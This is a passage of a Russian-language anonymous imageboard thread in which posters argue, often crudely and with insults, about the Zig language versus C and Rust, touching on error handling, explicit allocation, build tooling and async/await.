Так я не знаю зиг и тупо предположил, вот и спрашиваю. Но исходя из кода это судя по всему так и есть - try без блоков это аналог вопросов, поскольку parseint возвращает число но в нем самом может что то произойти, например недопустимый символ или еще какая хуйня, и "системный программист" на зиге пытается это отловить что бы пропустить, а потом в два массива один из которых явно вариативной длинны, закладывает параллельную обработку.

Это не системное программирование, это вам в веб дорога с такими приколами.
Аноним 07/10/24 Пнд 20:06:08 3292106 123
Аноним 07/10/24 Пнд 20:10:39 3292110 124
>>3292106
>>3292099
смысл кидать доку говна в котором трай кетч решили использовать не как трай кетч?
может еще свич тут это алиса на антил какой нибудь?
язык говна, не заслуживающий жизни
и писать на нем коммерцию ты не можешь себе позволить ибо кабану светит х5 цена поддержки этого говнокода на говноязыке

посему кратенький вердикт - зиг это желемышь для домашних поделок и не более
Аноним 07/10/24 Пнд 20:16:45 3292113 125
>>3292110
Ладно, пойду скажу пацанам из bun, что они херню делают.
Аноним 07/10/24 Пнд 22:05:44 3292176 126
>>3292113
не забудь маме рассказать, как тебя обидели на двощах
Аноним 08/10/24 Втр 09:54:10 3292332 127
>>3292040
>А потом два цикла обрабатывать как будто они ровные
>
>for (arr1, arr2) |a, b| {}
А если у массивов размеры разные?
Аноним 11/10/24 Птн 18:52:05 3295679 128
>>3292332
В Зиге не любят массивы разного размера, так что проваливай из треда.
Аноним 22/10/24 Втр 08:49:25 3305165 129
Аноны, кто нибудь на нем пет проект пилит уже? А то язык заинтересовал, в отличие от богомерзкого лгбтешного раста. Если да, поделитесь впечатлениями.
Аноним 22/10/24 Втр 19:19:06 3305879 130
Аноним 22/10/24 Втр 19:22:07 3305883 131
>>3305165
За советами и вопросами лучше идти в зиг комьюнити, /pr слишком пустой для non-top языков.
Аноним 23/10/24 Срд 16:59:04 3306535 132
>>3305165
Ну у меня дефолтный пет проект - примитивное ядрышко для заупска под кемой, писал когда 0.10 была актуальна

В сравнении с С - одно и тоже по ощущениям, только больше сахара и приятный compile time

В сравнении с растом - проще. На расте несколько раз переделывал из-за "Ну если так сделать, то вообще по красоте выйдет... В смысле блять нельзя так без ансейфа?".
Но с другой стороны когда все собиралось в итоге на расте, то оно работало. Тут так не вышло.

Единственное - для обоих языков выше инфы куда больше. На С весь osdev написан, на расте целый блог про разработку ядра с примерами что и как. Тут же пришлось по обрывкам понимать как сделать так как я хочу, в особенности со сраной билд системой.

Вообщем очень такая прикольная "современная" сишка как по мне

Кресты идут нахуй, на работе цирка с ними хватает, чтобы с ними ещё петы писать
Аноним 24/10/24 Чтв 17:06:31 3307230 133
Аноним 24/10/24 Чтв 21:04:08 3307364 134
Аноним 28/10/24 Пнд 10:54:12 3309332 135
Привет анон, давно не захаживал. Ну как там Зиг? Проекты пилите? А что пилите-то? Бебось операционку или компилятор? Нет? Сделали хттп-сервер и рады? Ну это не серьезно.

чел пыхтит, пытается свой RTP придумать, хуярит битики в udp датаграм
https://www.youtube.com/watch?v=VSf6WSjkEAs

У меня если честно нет идей конкретно под этот ЯП. Так поиграться конечно прикольно. Для обучения. Есть на месте спортсмены, который действительно знают толк в системном программировании? иногда смотрю на АСМ простыню и думаю, а туда ли я зашёл?
Аноним 28/10/24 Пнд 11:02:37 3309344 136
>>3306535
Насчет Раста и Зига. Мне нравится в зиге "никаких скрытых аллокаци", все аллокации явные, а ограничения по аллокациям на стеке довольно просты (хуй тебе, а не аллокации на стеке) вообще начал копать эту тему насчет alloca и какой-то дядя даже посчитал более-менее безопасный размер под выделение, и там крохи по большому счету + как компилятор оптимизирует - будто бы много подводных...
В Расте же нет такой условной свободы, неявные аллокации, я вангую что из-за хайпа раста и набега веб-разработчиков(без обид), люди пересевшие с GC языков, будут просто заучивать и запоминать где & &mut подставить)) и потом приводить код к тому, чтобы компилятор не ругался. Не знаю может я наивен, но... лучше каждому кто перешел с ГЦ языков, давать поуправлять памятью так или иначе...
Аноним 28/10/24 Пнд 11:05:55 3309349 137
>>3306535
>Единственное - для обоих языков выше инфы куда больше. На С весь osdev написан, на расте целый блог про разработку ядра с примерами что и как. Тут же пришлось по обрывкам понимать как сделать так как я хочу, в особенности со сраной билд системой.

А почему бы не сделать сначала на расте прототип, а потом переписать на Зиг? Не думал об этом?
Хот конечно использоать раст для прототипирования - небольшой оверкилл, мягко говоря...
Аноним 28/10/24 Пнд 21:05:56 3309836 138
>>3309332
Зиг это улучшенный Си, если тебе не нужен был и раньше си то и зиг не особо нужен.

Другая философия в том что взяв си у тебя появляется инструмент для всего, абсолютно (от драйверов, ембеддед и реалтайм до написания бд или даже веба). Даже плюсы не везде можно засунуть, а тут абсолютная власть над железкой (на ассемблере уже почти не пишут, только читают).

Конечно все имеет цену и придется писать больше кода. Но ты сможешь компенсировать это путем использования связки си + скриптовый язык (например питон + си или js + си) или не использовать и писать больше кода, ради большего контроля.
Вопрос надо тебе это, это решать тебе.
Аноним 29/10/24 Втр 11:37:48 3310228 139
>>3309836
>Зиг это улучшенный Си
В чём улучшение? Ваше в листинге видел некий дефер, ладно, а что ещё?
Аноним 29/10/24 Втр 11:40:51 3310231 140
>>3310228
>Выше в листинге
Быстрофикс
Аноним 29/10/24 Втр 11:53:28 3310246 141
>>3310228
>а что ещё?
Дженерики (-> нормальная стд), перегрузки, какая-никакая (скорее, никакая, надо делать как в Hare, либо исключения) обработка ошибок. Ну и модули.
Аноним 29/10/24 Втр 11:56:36 3310251 142
>>3310228
Не нужен forward declaration, дженерики без костылей с макросами, скрипты на самом языке вместо смейка, разрабатывается без оглядки на дедов, у которых стоял при Рейгане
Аноним 29/10/24 Втр 12:03:34 3310256 143
>>3310246
>нормальная стд
Нахуй не нужна.
>Ну и модули.
Хуйня без задач.
>перегрузки
Это вообще во вред.
>обработка ошибок
В расте она норм, но это из-за юнион типов. В зиге как сделано?
>Не нужен forward declaration
Пиздец, типо это та самая проблема которую надо было решать?
>скрипты на самом языке вместо смейка
Ох ебать даунизм.
Аноним 29/10/24 Втр 12:06:32 3310261 144
>>3310256
> Нахуй не нужна.
> Хуйня без задач.
> Это вообще во вред.
Ну вот поэтому с сишниками в принципе нет особо смысла разговаривать. Хз, что тебе посоветовать, сходи к Столярову, что-ли, а лучше нахуй.
Аноним 29/10/24 Втр 12:19:54 3310271 145
>>3310261
Уёбок тупорылый, в Си есть серьёзные проблемы, но зиг решает не их.
>Зиг это улучшенный Си
Это Си со встроенным скриптовым языком и теми же проблемами, ясно-понятно.
Аноним 29/10/24 Втр 12:29:25 3310278 146
>>3310271
>Уёбок тупорылый
Причина баха?
> в Си есть серьёзные проблемы
Разумеется есть, а именно:
1. Отсутствие неймспейсов
2. Отсутствие нормальной обработки ошибок
3. Макросы
4. void*

Но у тебя, конечно же, другое мнение на этот счёт и сейчас ты его напишешь.
Аноним 29/10/24 Втр 12:32:35 3310281 147
>>3310278
Ясно понятно всё с тобой.
Аноним 29/10/24 Втр 12:37:22 3310284 148
>>3310281
Со мной то ясно, а что там с серьёзными проблемами, которые зиг не смог решить?
Аноним 29/10/24 Втр 12:38:46 3310286 149
>>3310284
Я выше спросил, что там в зиге, мне перечислили какие-то свистелки и перделки. Делаю вывод, что зиг нахуй не нужен.
Аноним 29/10/24 Втр 12:40:33 3310288 150
Аноним 29/10/24 Втр 13:51:40 3310381 151
>>3309344
>набега веб-разработчиков(без обид)
Да тут все просто, на самом деле у нас разные потребности и подходы, у тех кто пишет бекенд выше навык работы с абстракциями. Когда фокусируешь на бизнеслогике, а приложения большие и имеют много взаимодействий с внешним миром в разных местах с разными людьми ты перестаешь фокусироваться на деталях, а переходишь к абстракциям. То есть свой кусок бизнеслогики делаешь в деталях, а от всего другого абстрагируешься и пользуешься тем что тебе предоставили твои коллеги, авторы библиотек и языков. Если у раста зона ответственности за выделение памяти лежит на компиляторе или там в го и жабе за это отвечает ГЦ, то с этим и работаем, не нужно лезть в чужую зону ответственности. Иначе так можно все переписывать и переделывать до бесконечности от брокера сообщений и баз данных до компилятора языка.

>люди пересевшие с GC языков, будут просто заучивать и запоминать где & &mut подставить)) и потом приводить код к тому, чтобы компилятор не ругался.
Это буквально за пару недель работы приходит, когда начинаешь понимать как работает баран чекер и лайфтаймы это уже не кажатся темной шкатулкой. Опять же умение пользоваться абстракциями, ты взаимодействуешь с компилятором по определенным правилам которые простые на самом деле, взамен он берет на себя все проблемы с выделением и освобождением памяти.
Аноним 29/10/24 Втр 14:22:54 3310451 152
>>3310381
Веб макака рассуждает лол.
Аноним 29/10/24 Втр 14:31:30 3310466 153
>>3310451
Ну а чего бы и не порассуждать в треде серьезного языка, в который контрибьютят школьники 13 лет
Аноним 29/10/24 Втр 18:32:21 3310749 154
>>3310261
Судя по уровня "ря" это очередной фанатик раст (как часто бывает даже не программист, у этих яп как религия).

Если раст приходится натягивать на глобус и 10 лет рассказывать питонистам как мы победили память, то у зига (особенно, видимо, после траха с растом) идет естественный хайп, о нем нередко говорят в связке раст и вот у полудурков бомбит.
Нередко раст противопоставляют го, думаю на гоферов они тоже бросаются
Аноним 29/10/24 Втр 18:41:44 3310758 155
>>3310381
>Это буквально за пару недель работы приходит, когда начинаешь понимать как работает баран чекер и лайфтаймы это уже не кажатся темной шкатулкой.
А потом приходят асинк/авэй и сложность возрастает в прогрессии. Асинки как-будто выворачивают раст наизнанку.
Так что в связке веба, раст сделал себе харакири. А я напоминаю, что до релиза в расте были зеленые потоки.
Аноним 29/10/24 Втр 20:26:59 3310868 156
>>3310758
>А потом приходят асинк/авэй и сложность возрастает в прогрессии.
Нет, это тоже не темная шкатулка если понимаешь как оно работает. Не ну по началу, да, в какой-то степени сложно, но когда понимаешь что такое футуры и как они работают, то вообще никаких сложностей
Аноним 30/10/24 Срд 00:01:32 3310963 157
>>3310868
Классический буллшит маркелогов раста - проблема не в расте, проблема в навыках. На это уже никто не ведется.
Аноним 30/10/24 Срд 00:36:12 3310982 158
>>3310963
Маркетологошиз в треде, спешите видеть представление на арене цирка
Аноним 30/10/24 Срд 07:34:28 3311099 159
>>3310982
Когда будет отчет фонда, как у зига?
Аноним 30/10/24 Срд 16:38:52 3311627 160
>>3310749
Ну раст-то уж точно нахуй не нужен. Если куда-то и переезжать всем светом, то это на зиг.
Аноним 30/10/24 Срд 17:08:10 3311648 161
>>3310749
Чтению не обучили?
>>3311627
>перепишем всё на зиг
Где-то я уже это видел.
Аноним 30/10/24 Срд 18:00:27 3311697 162
>>3310749
>идет естественный хайп
Это маркетологи разгоняют
Аноним 30/10/24 Срд 19:12:53 3311779 163
>>3311697
В отчете фонда не было указанно финансирование евангелистов.
Аноним 30/10/24 Срд 19:15:25 3311783 164
>>3311697
Зигу бы они не помешали. В отличие от раста в языке не нужно форсить 10 лет фразу "это проблема навыка, а не языка"
Аноним 30/10/24 Срд 21:41:45 3311931 165
>>3311648
> Где-то я уже это видел.
А хуле нет? Правда зиг довольно уебищен в синтаксисе, но вариантов-то других и нет. Не растом же пользоваться.
Аноним 30/10/24 Срд 21:56:30 3311946 166
>>3311783
Вы за всратый синтаксис будете отрабатывать свои 15 серебряников
Аноним 30/10/24 Срд 23:53:51 3312024 167
17051546752200.png 161Кб, 2211x593
2211x593
>>3311946
Ну зачем ты так грубо, надо быть помягче с раст программистами, им и так нелегко.
Аноним 31/10/24 Чтв 00:26:36 3312039 168
image.png 155Кб, 1660x1208
1660x1208
>>3312024
Чья бы корова мычала
Аноним 31/10/24 Чтв 01:13:58 3312071 169
>>3312039
Что не так? Два раза перечитал.
Аноним 31/10/24 Чтв 03:14:55 3312090 170
Аноним 31/10/24 Чтв 04:30:08 3312097 171
Аноним 31/10/24 Чтв 06:25:53 3312120 172
Аноним 31/10/24 Чтв 06:28:08 3312121 173
>>3312097
>>3312120
В общем, кому лень, сомнительный статус для асинков, до сих пор ничего не решили, а llvm вставляет палки в колеса им. как-будто положили болт, а люди костылят для вебассембле
Аноним 31/10/24 Чтв 10:59:33 3312335 174
Заебись async/await завозите, теперь они будут выворачивать язык наизнанку
Аноним 31/10/24 Чтв 11:21:42 3312351 175
Нахуя вообще нужна асинхронность с асин/авайт, знает кто? Просто берёшь и пишешь калбеки, а чтобы не было калбекхелла - пишешь нормальную архитектуру.
Аноним 31/10/24 Чтв 13:43:41 3312546 176
>>3311931
Писать на Си или на Аде.
Аноним 31/10/24 Чтв 14:06:09 3312569 177
>>3312121
Из плюсов, надо отметить, что они думают об асинках в контексте решения проблемы цветных функций. Так что можешь и что-то годное сделают.
Аноним 31/10/24 Чтв 14:26:42 3312595 178
time-travelers-[...].webp 66Кб, 680x680
680x680
>>3312335
Проблема жопных асинков раста в самом кривом дизайне раста. Так что хуже точно не будет. Надеюсь вообще завезут отдельный опциональный рантайм с зеленными функциями.
Аноним 06/11/24 Срд 21:43:52 3317687 179
Аноним 06/11/24 Срд 21:50:13 3317690 180
Debian, разумеется
Аноним 07/11/24 Чтв 06:24:50 3317806 181
Аноним 07/11/24 Чтв 13:12:21 3318126 182
>>3317687
Возьму в работу когда доделаю русскоязычную документацию
Аноним 07/11/24 Чтв 14:17:00 3318179 183
Аноним 07/11/24 Чтв 14:46:59 3318199 184
280523370-5b47f[...].mp4 922Кб, 872x592, 00:00:17
872x592
>>3318179
А ты как думал кто аудитория этого языка, вон они и текстовый редактор модный пилят
Аноним 07/11/24 Чтв 17:38:00 3318337 185
>>3318199
Пока на расте пыхтят с языком и с трудом допиливают функционал уровня блокнота, зиговцы от излишка времени колбасят нескучные редакторы.
Аноним 07/11/24 Чтв 18:01:32 3318357 186
>>3318337
>зиговцы от излишка времени колбасят нескучные редакторы
Все так, школа до обеда, домашки на час, кормит, одевает мамка и можно дохуя времени посвятить нескучным редакторам
Аноним 07/11/24 Чтв 18:03:49 3318358 187
>>3318199
>>3318357
Неслабо пидорастопетух порвался. Почему тебе так больно от нормального языка программирования?
Аноним 07/11/24 Чтв 18:18:30 3318365 188
>>3317687
Сразу же как сделают тип String Очередные грабли с 100500 разнообразием строк от каждого васяна, привет мой любимый девяносто седьмой
Аноним 07/11/24 Чтв 19:42:30 3318440 189
>>3318358
Там лучше иди доделывай документацию на русском языке
Аноним 07/11/24 Чтв 20:37:55 3318458 190
image.png 362Кб, 2388x1584
2388x1584
Аноним 07/11/24 Чтв 20:50:31 3318464 191
>>3318458
Ну вот типичный школотрон стрелки переводить, мол Вася из 8Б тоже говно делает
Настройки X
Ответить в тред X
15000
Добавить файл/ctrl-v
Стикеры X
Избранное / Топ тредов